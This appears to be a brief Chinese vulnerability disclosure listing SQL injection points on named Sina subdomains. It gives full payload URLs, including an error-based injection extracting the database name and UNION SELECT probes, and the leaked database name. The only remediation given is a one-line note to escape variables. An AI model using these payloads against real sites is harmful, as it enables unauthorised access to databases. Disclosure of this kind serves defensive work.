新浪子频道的几个注入及修复

wanghe513120

http://city2010.house.sina.com.cn/list_suining.html?type_ext=2
Current DB: city2010_house_sina_com_cn
作者 帅气凌云
http://t.auto.sina.com.cn/celebrity/celebritytype.php?type=5+or+1+group+by+concat%28%28SELECT+database%28%29%29,floor%28rand%280%29*2%29%29+having+min%280%29+or+1--+&retcode=0
http://t.auto.sina.com.cn/celebrity/automastercity.php?type=5%20and%200%20UNION%20select%201,2
http://t.auto.sina.com.cn/celebrity/automastersph.php?type=5%20and%200%20union%20select%201,2
修复方案：
对变量做转义